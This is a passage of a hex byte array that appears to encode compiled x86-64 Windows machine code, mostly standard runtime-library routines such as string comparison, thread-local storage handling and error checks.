0x8d, 0x53, 0x20, 0x89, 0x44, 0x24, 0x50, - 0x49, 0x8d, 0x4b, 0x10, 0x89, 0x44, 0x24, 0x58, 0xe8, 0x77, 0xfe, 0xff, - 0xff, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x75, - 0x04, 0x83, 0xc8, 0xff, 0xc3, 0x48, 0x8b, 0x41, 0x10, 0x48, 0x39, 0x01, - 0x75, 0x12, 0x48, 0x8b, 0x05, 0x57, 0x6f, 0x01, 0x00, 0x48, 0x89, 0x01, - 0x48, 0x89, 0x41, 0x08, 0x48, 0x89, 0x41, 0x10, 0x33, 0xc0, 0xc3, 0xcc, - 0x48, 0x8d, 0x05, 0xa9, 0x70, 0x01, 0x00, 0x48, 0x89, 0x05, 0x7a, 0x83, - 0x01, 0x00, 0xb0, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x48, 0x8d, 0x0d, 0xf9, 0x82, 0x01, 0x00, 0xe8, 0xb4, 0xff, 0xff, 0xff, - 0x48, 0x8d, 0x0d, 0x05, 0x83, 0x01, 0x00, 0xe8, 0xa8, 0xff, 0xff, 0xff, - 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xb0, 0x01, 0xc3, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0xc3, 0xfd, 0xff, 0xff, 0xb0, 0x01, 0x48, - 0x83, 0xc4, 0x28, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0x1d, 0xef, 0x6e, 0x01, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0x0a, 0x00, - 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0x33, 0x49, 0x00, 0x00, 0x48, 0x8b, 0xcb, - 0xe8, 0x0f, 0x4a, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0x4c, 0x00, - 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xc3, 0xf7, 0xff, 0xff, 0xb0, 0x01, 0x48, - 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x33, 0xc9, 0xe9, 0x85, - 0xc8, 0xff, 0xff, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0x0d, 0xf7, 0x8a, 0x01, 0x00, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x01, - 0x83, 0xf8, 0x01, 0x75, 0x1f, 0x48, 0x8b, 0x0d, 0xe4, 0x8a, 0x01, 0x00, - 0x48, 0x8d, 0x1d, 0x65, 0x71, 0x01, 0x00, 0x48, 0x3b, 0xcb, 0x74, 0x0c, - 0xe8, 0x47, 0x0c, 0x00, 0x00, 0x48, 0x89, 0x1d, 0xcc, 0x8a, 0x01, 0x00, - 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x83, 0xec, 0x28, - 0x48, 0x8b, 0x0d, 0x91, 0x82, 0x01, 0x00, 0xe8, 0x28, 0x0c, 0x00, 0x00, - 0x48, 0x8b, 0x0d, 0x8d, 0x82, 0x01, 0x00, 0x48, 0x83, 0x25, 0x7d, 0x82, - 0x01, 0x00, 0x00, 0xe8, 0x14, 0x0c, 0x00, 0x00, 0x48, 0x8b, 0x0d, 0xb9, - 0x8a, 0x01, 0x00, 0x48, 0x83, 0x25, 0x71, 0x82, 0x01, 0x00, 0x00, 0xe8, - 0x00, 0x0c, 0x00, 0x00, 0x48, 0x8b, 0x0d, 0xad, 0x8a, 0x01, 0x00, 0x48, - 0x83, 0x25, 0x9d, 0x8a, 0x01, 0x00, 0x00, 0xe8, 0xec, 0x0b, 0x00, 0x00, - 0x48, 0x83, 0x25, 0x98, 0x8a, 0x01, 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, - 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x8d, 0x15, 0xf9, 0xd6, 0x00, 0x00, 0x48, - 0x8d, 0x0d, 0xf2, 0xd5, 0x00, 0x00, 0xe9, 0x9d, 0x47, 0x00, 0x00, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0x3f, 0x07, 0x00, 0x00, 0x48, 0x85, 0xc0, - 0x0f, 0x95, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0x6b, 0x05, 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, - 0x48, 0x83, 0xec, 0x28, 0x84, 0xc9, 0x74, 0x16, 0x48, 0x83, 0x3d, 0xe8, - 0x81, 0x01, 0x00, 0x00, 0x74, 0x05, 0xe8, 0x89, 0x4e, 0x00, 0x00, 0xb0, - 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x8d, 0x15, 0xa3, 0xd6, 0x00, - 0x00, 0x48, 0x8d, 0x0d, 0x9c, 0xd5, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, - 0xe9, 0xc3, 0x47, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0xeb, 0x07, 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0x57, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x40, - 0x18, 0x48, 0x85, 0xc0, 0x74, 0x08, 0xff, 0x15, 0x80, 0xc0, 0x00, 0x00, - 0xeb, 0x00, 0xe8, 0x61, 0x00, 0x00, 0x00, 0x90, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x33, 0xdb, 0x48, 0x85, 0xc9, 0x74, 0x0c, 0x48, 0x85, 0xd2, - 0x74, 0x07, 0x4d, 0x85, 0xc0, 0x75, 0x1b, 0x88, 0x19, 0xe8, 0xfe, 0x0a, - 0x00, 0x00, 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0xd2, 0x09, - 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x4c, 0x8b, - 0xc9, 0x4c, 0x2b, 0xc1, 0x43, 0x8a, 0x04, 0x08, 0x41, 0x88, 0x01, 0x49, - 0xff, 0xc1, 0x84, 0xc0, 0x74, 0x06, 0x48, 0x83, 0xea, 0x01, 0x75, 0xec, - 0x48, 0x85, 0xd2, 0x75, 0xd9, 0x88, 0x19, 0xe8, 0xc4, 0x0a, 0x00, 0x00, - 0xbb, 0x22, 0x00, 0x00, 0x00, 0xeb, 0xc4, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0x17, 0x48, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xb9, 0x16, - 0x00, 0x00, 0x00, 0xe8, 0x58, 0x48, 0x00, 0x00, 0xf6, 0x05, 0x31, 0x6d, - 0x01, 0x00, 0x02, 0x74, 0x2a, 0xb9, 0x17, 0x00, 0x00, 0x00, 0xff, 0x15, - 0xe4, 0xbd, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x07, 0xb9, 0x07, 0x00, 0x00, - 0x00, 0xcd, 0x29, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xba, 0x15, 0x00, - 0x00, 0x40, 0x41, 0x8d, 0x48, 0x02, 0xe8, 0x3d, 0x07, 0x00, 0x00, 0xb9, - 0x03, 0x00, 0x00, 0x00, 0xe8, 0xd7, 0xf5, 0xff, 0xff, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x2b, 0xd1, 0x4d, 0x85, 0xc0, 0x74, 0x6a, 0xf7, 0xc1, 0x07, 0x00, - 0x00, 0x00, 0x74, 0x1d, 0x0f, 0xb6, 0x01, 0x3a, 0x04, 0x0a, 0x75, 0x5d, - 0x48, 0xff, 0xc1, 0x49, 0xff, 0xc8, 0x74, 0x52, 0x84, 0xc0, 0x74, 0x4e, - 0x48, 0xf7, 0xc1, 0x07, 0x00, 0x00, 0x00, 0x75, 0xe3, 0x49, 0xbb, 0x80, - 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x49, 0xba, 0xff, 0xfe, 0xfe, - 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0x8d, 0x04, 0x0a, 0x25, 0xff, 0x0f, 0x00, - 0x00, 0x3d, 0xf8, 0x0f, 0x00, 0x00, 0x77, 0xc0, 0x48, 0x8b, 0x01, 0x48, - 0x3b, 0x04, 0x0a, 0x75, 0xb7, 0x48, 0x83, 0xc1, 0x08, 0x49, 0x83, 0xe8, - 0x08, 0x76, 0x0f, 0x4d, 0x8d, 0x0c, 0x02, 0x48, 0xf7, 0xd0, 0x49, 0x23, - 0xc1, 0x49, 0x85, 0xc3, 0x74, 0xcf, 0x33, 0xc0, 0xc3, 0x48, 0x1b, 0xc0, - 0x48, 0x83, 0xc8, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, 0xe9, 0x67, 0x2b, 0x00, - 0x00, 0xcc, 0xcc, 0xcc, 0x4d, 0x85, 0xc0, 0x75, 0x18, 0x33, 0xc0, 0xc3, - 0x0f, 0xb7, 0x01, 0x66, 0x85, 0xc0, 0x74, 0x13, 0x66, 0x3b, 0x02, 0x75, - 0x0e, 0x48, 0x83, 0xc1, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x49, 0x83, 0xe8, - 0x01, 0x75, 0xe5, 0x0f, 0xb7, 0x01, 0x0f, 0xb7, 0x0a, 0x2b, 0xc1, 0xc3, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, - 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0x0a, 0xe8, - 0x70, 0x2a, 0x00, 0x00, 0x90, 0x48, 0x8b, 0x07, 0x48, 0x8b, 0x08, 0x48, - 0x8b, 0x81, 0x88, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x00, 0x8b, 0x0b, 0xe8, - 0xac, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, - 0x20, 0x5f, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, - 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, - 0xf8, 0x8b, 0x0a, 0xe8, 0x30, 0x2a, 0x00, 0x00, 0x90, 0x48, 0x8b, 0x0f, - 0x33, 0xd2, 0x48, 0x8b, 0x09, 0xe8, 0xa6, 0x02, 0x00, 0x00, 0x90, 0x8b, - 0x0b, 0xe8, 0x6e, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, - 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, - 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0x0a, 0xe8, 0xf0, 0x29, 0x00, 0x00, - 0x90, 0x48, 0x8b, 0x47, 0x08, 0x48, 0x8b, 0x10, 0x48, 0x8b, 0x0f, 0x48, - 0x8b, 0x12, 0x48, 0x8b, 0x09, 0xe8, 0x5e, 0x02, 0x00, 0x00, 0x90, 0x8b, - 0x0b, 0xe8, 0x26, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, - 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, - 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0x0a, 0xe8, 0xa8, 0x29, 0x00, 0x00, - 0x90, 0x48, 0x8b, 0x07, 0x48, 0x8b, 0x08, 0x48, 0x8b, 0x89, 0x88, 0x00, - 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x1e, 0x83, 0xc8, 0xff, 0xf0, 0x0f, - 0xc1, 0x01, 0x83, 0xf8, 0x01, 0x75, 0x12, 0x48, 0x8d, 0x05, 0xc2, 0x6d, - 0x01, 0x00, 0x48, 0x3b, 0xc8, 0x74, 0x06, 0xe8, 0xa4, 0x08, 0x00, 0x00, - 0x90, 0x8b, 0x0b, 0xe8, 0xc4, 0x29, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, - 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0x40, 0x55, 0x48, 0x8b, - 0xec, 0x48, 0x83, 0xec, 0x50, 0x48, 0x89, 0x4d, 0xd8, 0x48, 0x8d, 0x45, - 0xd8, 0x48, 0x89, 0x45, 0xe8, 0x4c, 0x8d, 0x4d, 0x20, 0xba, 0x01, 0x00, - 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xe8, 0xb8, 0x05, 0x00, 0x00, 0x00, 0x89, - 0x45, 0x20, 0x89, 0x45, 0x28, 0x48, 0x8d, 0x45, 0xd8, 0x48, 0x89, 0x45, - 0xf0, 0x48, 0x8d, 0x45, 0xe0, 0x48, 0x89, 0x45, 0xf8, 0xb8, 0x04, 0x00, - 0x00, 0x00, 0x89, 0x45, 0xd0, 0x89, 0x45, 0xd4, 0x48, 0x8d, 0x05, 0xbd, - 0x7e, 0x01, 0x00, 0x48, 0x89, 0x45, 0xe0, 0x89, 0x51, 0x28, 0x48, 0x8d, - 0x0d, 0x57, 0xd1, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x89, 0x08, - 0x48, 0x8d, 0x0d, 0x39, 0x6d, 0x01, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x89, - 0x90, 0xa8, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x89, 0x88, - 0x88, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0x42, 0x48, 0x8b, 0x45, 0xd8, 0x48, - 0x8d, 0x55, 0x28, 0x66, 0x89, 0x88, 0xbc, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0x45, 0xd8, 0x66, 0x89, 0x88, 0xc2, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, - 0x18, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x83, 0xa0, 0xa0, 0x03, 0x00, 0x00, - 0x00, 0xe8, 0x26, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x4d, 0xd0, 0x4c, 0x8d, - 0x45, 0xf0, 0x48, 0x8d, 0x55, 0xd4, 0x48, 0x8d, 0x4d, 0x18, 0xe8, 0x91, - 0xfe, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x50, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x85, 0xc9, 0x74, 0x1a, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xd9, 0xe8, 0x0e, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa6, 0x07, - 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x40, 0x55, 0x48, 0x8b, - 0xec, 0x48, 0x83, 0xec, 0x40, 0x48, 0x8d, 0x45, 0xe8, 0x48, 0x89, 0x4d, - 0xe8, 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8d, 0x15, 0xa8, 0xd0, 0x00, 0x00, - 0xb8, 0x05, 0x00, 0x00, 0x00, 0x89, 0x45, 0x20, 0x89, 0x45, 0x28, 0x48, - 0x8d, 0x45, 0xe8, 0x48, 0x89, 0x45, 0xf8, 0xb8, 0x04, 0x00, 0x00, 0x00, - 0x89, 0x45, 0xe0, 0x89, 0x45, 0xe4, 0x48, 0x8b, 0x01, 0x48, 0x3b, 0xc2, - 0x74, 0x0c, 0x48, 0x8b, 0xc8, 0xe8, 0x56, 0x07, 0x00, 0x00, 0x48, 0x8b, - 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x70, 0xe8, 0x49, 0x07, 0x00, 0x00, 0x48, - 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x58, 0xe8, 0x3c, 0x07, 0x00, 0x00, - 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x60, 0xe8, 0x2f, 0x07, 0x00, - 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x68, 0xe8, 0x22, 0x07, - 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x48, 0xe8, 0x15, - 0x07, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x50, 0xe8, - 0x08, 0x07, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x49, 0x78, - 0xe8, 0xfb, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x89, - 0x80, 0x00, 0x00, 0x00, 0xe8, 0xeb, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4d, - 0xe8, 0x48, 0x8b, 0x89, 0xc0, 0x03, 0x00, 0x00, 0xe8, 0xdb, 0x06, 0x00, - 0x00, 0x4c, 0x8d, 0x4d, 0x20, 0x4c, 0x8d, 0x45, 0xf0, 0x48, 0x8d, 0x55, - 0x28, 0x48, 0x8d, 0x4d, 0x18, 0xe8, 0xd6, 0xfd, 0xff, 0xff, 0x4c, 0x8d, - 0x4d, 0xe0, 0x4c, 0x8d, 0x45, 0xf8, 0x48, 0x8d, 0x55, 0xe4, 0x48, 0x8d, - 0x4d, 0x18, 0xe8, 0x39, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x40, 0x5d, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x89, 0x90, - 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x2c, 0xe8, 0x17, 0x4c, 0x00, - 0x00, 0x48, 0x8b, 0x8f, 0x90, 0x00, 0x00, 0x00, 0x48, 0x3b, 0x0d, 0xf5, - 0x7c, 0x01, 0x00, 0x74, 0x17, 0x48, 0x8d, 0x05, 0x14, 0x6a, 0x01, 0x00, - 0x48, 0x3b, 0xc8, 0x74, 0x0b, 0x83, 0x79, 0x10, 0x00, 0x75, 0x05, 0xe8, - 0xf0, 0x49, 0x00, 0x00, 0x48, 0x89, 0x9f, 0x90, 0x00, 0x00, 0x00, 0x48, - 0x85, 0xdb, 0x74, 0x08, 0x48, 0x8b, 0xcb, 0xe8, 0x50, 0x49, 0x00, 0x00, - 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x0d, 0xb8, 0x68, 0x01, 0x00, - 0x83, 0xf9, 0xff, 0x74, 0x2a, 0xe8, 0xda, 0x22, 0x00, 0x00, 0x48, 0x8b, - 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x1d, 0x8b, 0x0d, 0xa0, 0x68, 0x01, 0x00, - 0x33, 0xd2, 0xe8, 0x0d, 0x23, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0x6d, - 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x05, 0x06, 0x00, 0x00, 0x48, - 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0xff, - 0x15, 0x6b, 0xb9, 0x00, 0x00, 0x8b, 0x0d, 0x65, 0x68, 0x01, 0x00, 0x8b, - 0xd8, 0x83, 0xf9, 0xff, 0x74, 0x1f, 0xe8, 0x85, 0x22, 0x00, 0x00, 0x48, - 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x83, 0xf8, 0xff, 0x75, - 0x73, 0x33, 0xff, 0x33, 0xf6, 0xeb, 0x70, 0x8b, 0x0d, 0x3f, 0x68, 0x01, - 0x00, 0x48, 0x83, 0xca, 0xff, 0xe8, 0xaa, 0x22, 0x00, 0x00, 0x85, 0xc0, - 0x74, 0xe7, 0xba, 0xc8, 0x03, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, - 0xe8, 0x1f, 0x27, 0x00, 0x00, 0x8b, 0x0d, 0x1d, 0x68, 0x01, 0x00, 0x48, - 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x10, 0x33, 0xd2, 0xe8, 0x82, 0x22, - 0x00, 0x00, 0x33, 0xc9, 0xe8, 0x83, 0x05, 0x00, 0x00, 0xeb, 0xba, 0x48, - 0x8b, 0xd7, 0xe8, 0x71, 0x22, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x12, 0x8b, - 0x0d, 0xf3, 0x67, 0x01, 0x00, 0x33, 0xd2, 0xe8, 0x60, 0x22, 0x00, 0x00, - 0x48, 0x8b, 0xcf, 0xeb, 0xdb, 0x48, 0x8b, 0xcf, 0xe8, 0xcb, 0xfc, 0xff, - 0xff, 0x33, 0xc9, 0xe8, 0x54, 0x05, 0x00, 0x00, 0x48, 0x8b, 0xf7, 0x8b, - 0xcb, 0xff, 0x15, 0xd5, 0xb8, 0x00, 0x00, 0x48, 0xf7, 0xdf, 0x48, 0x1b, - 0xc0, 0x48, 0x23, 0xc6, 0x74, 0x10, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, - 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xe8, 0x4d, - 0xfa, 0xff, 0xff, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x0d, - 0xa0, 0x67, 0x01, 0x00, 0x83, 0xf9, 0xff, 0x74, 0x1b, 0xe8, 0xc2, 0x21, - 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x83, - 0xf8, 0xff, 0x74, 0x7d, 0xeb, 0x6d, 0x8b, 0x0d, 0x80, 0x67, 0x01, 0x00, - 0x48, 0x83, 0xca, 0xff, 0xe8, 0xeb, 0x21, 0x00, 0x00, 0x85, 0xc0, 0x74, - 0x68, 0xba, 0xc8, 0x03, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8, - 0x60, 0x26, 0x00, 0x00, 0x8b, 0x0d, 0x5e, 0x67, 0x01, 0x00, 0x48, 0x8b, - 0xd8, 0x48, 0x85, 0xc0, 0x75, 0x10, 0x33, 0xd2, 0xe8, 0xc3, 0x21, 0x00, - 0x00, 0x33, 0xc9, 0xe8, 0xc4, 0x04, 0x00, 0x00, 0xeb, 0x3b, 0x48, 0x8b, - 0xd3, 0xe8, 0xb2, 0x21, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x12, 0x8b, 0x0d, - 0x34, 0x67, 0x01, 0x00, 0x33, 0xd2, 0xe8, 0xa1, 0x21, 0x00, 0x00, 0x48, - 0x8b, 0xcb, 0xeb, 0xdb, 0x48, 0x8b, 0xcb, 0xe8, 0x0c, 0xfc, 0xff, 0xff, - 0x33, 0xc9, 0xe8, 0x95, 0x04, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x74, 0x09, - 0x48, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xe8, 0xa6, 0xf9, - 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0xff, 0x15, 0xef, 0xb7, 0x00, - 0x00, 0x8b, 0x0d, 0xe9, 0x66, 0x01, 0x00, 0x8b, 0xd8, 0x83, 0xf9, 0xff, - 0x74, 0x1f, 0xe8, 0x09, 0x21, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, - 0xc0, 0x74, 0x0c, 0x48, 0x83, 0xf8, 0xff, 0x75, 0x73, 0x33, 0xff, 0x33, - 0xf6, 0xeb, 0x70, 0x8b, 0x0d, 0xc3, 0x66, 0x01, 0x00, 0x48, 0x83, 0xca, - 0xff, 0xe8, 0x2e, 0x21, 0x00, 0x00, 0x85, 0xc0, 0x74, 0xe7, 0xba, 0xc8, - 0x03, 0x00, 0x00, 0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xa3, 0x25, 0x00, - 0x00, 0x8b, 0x0d, 0xa1, 0x66, 0x01, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, - 0xc0, 0x75, 0x10, 0x33, 0xd2, 0xe8, 0x06, 0x21, 0x00, 0x00, 0x33, 0xc9, - 0xe8, 0x07, 0x04, 0x00, 0x00, 0xeb, 0xba, 0x48, 0x8b, 0xd7, 0xe8, 0xf5, - 0x20, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x12, 0x8b, 0x0d, 0x77, 0x66, 0x01, - 0x00, 0x33, 0xd2, 0xe8, 0xe4, 0x20, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xeb, - 0xdb, 0x48, 0x8b, 0xcf, 0xe8, 0x4f, 0xfb, 0xff, 0xff, 0x33, 0xc9, 0xe8, - 0xd8, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf7, 0x8b, 0xcb, 0xff, 0x15, 0x59, - 0xb7, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0xf7, 0xdf, 0x48, - 0x1b, 0xc0, 0x48, 0x23, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8d, 0x0d, 0xe9, - 0xfb, 0xff, 0xff, 0xe8, 0xc4, 0x1f, 0x00, 0x00, 0x89, 0x05, 0x22, 0x66, - 0x01, 0x00, 0x83, 0xf8, 0xff, 0x75, 0x04, 0x32, 0xc0, 0xeb, 0x15, 0xe8, - 0x10, 0xff, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x09, 0x33, 0xc9, 0xe8, - 0x0c, 0x00, 0x00, 0x00, 0xeb, 0xe9, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x8b, 0x0d, 0xf2, 0x65, - 0x01, 0x00, 0x83, 0xf9, 0xff, 0x74, 0x0c, 0xe8, 0xcc, 0x1f, 0x00, 0x00, - 0x83, 0x0d, 0xe1, 0x65, 0x01, 0x00, 0xff, 0xb0, 0x01, 0x48, 0x83, 0xc4, - 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, - 0x24, 0x18, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d, 0xac, 0x24, 0x10, 0xfb, - 0xff, 0xff, 0x48, 0x81, 0xec, 0xf0, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x05, - 0x6c, 0x65, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x85, 0xe0, 0x04, - 0x00, 0x00, 0x41, 0x8b, 0xf8, 0x8b, 0xf2, 0x8b, 0xd9, 0x83, 0xf9, 0xff, - 0x74, 0x05, 0xe8, 0x05, 0xb9, 0xff, 0xff, 0x33, 0xd2, 0x48, 0x8d, 0x4c, - 0x24, 0x70, 0x41, 0xb8, 0x98, 0x00, 0x00, 0x00, 0xe8, 0xe7, 0xbf, 0xff, - 0xff, 0x33, 0xd2, 0x48, 0x8d, 0x4d, 0x10, 0x41, 0xb8, 0xd0, 0x04, 0x00, - 0x00, 0xe8, 0xd6, 0xbf, 0xff, 0xff, 0x48, 0x8d, 0x44, 0x24, 0x70, 0x48, - 0x89, 0x44, 0x24, 0x48, 0x48, 0x8d, 0x4d, 0x10, 0x48, 0x8d, 0x45, 0x10, - 0x48, 0x89, 0x44, 0x24, 0x50, 0xff, 0x15, 0xd1, 0xb5, 0x00, 0x00, 0x4c, - 0x8b, 0xb5, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x49, - 0x8b, 0xce, 0x45, 0x33, 0xc0, 0xff, 0x15, 0xc1, 0xb5, 0x00, 0x00, 0x48, - 0x85, 0xc0, 0x74, 0x36, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8d, - 0x4c, 0x24, 0x58, 0x48, 0x8b, 0x54, 0x24, 0x40, 0x4c, 0x8b, 0xc8, 0x48, - 0x89, 0x4c, 0x24, 0x30, 0x4d, 0x8b, 0xc6, 0x48, 0x8d, 0x4c, 0x24, 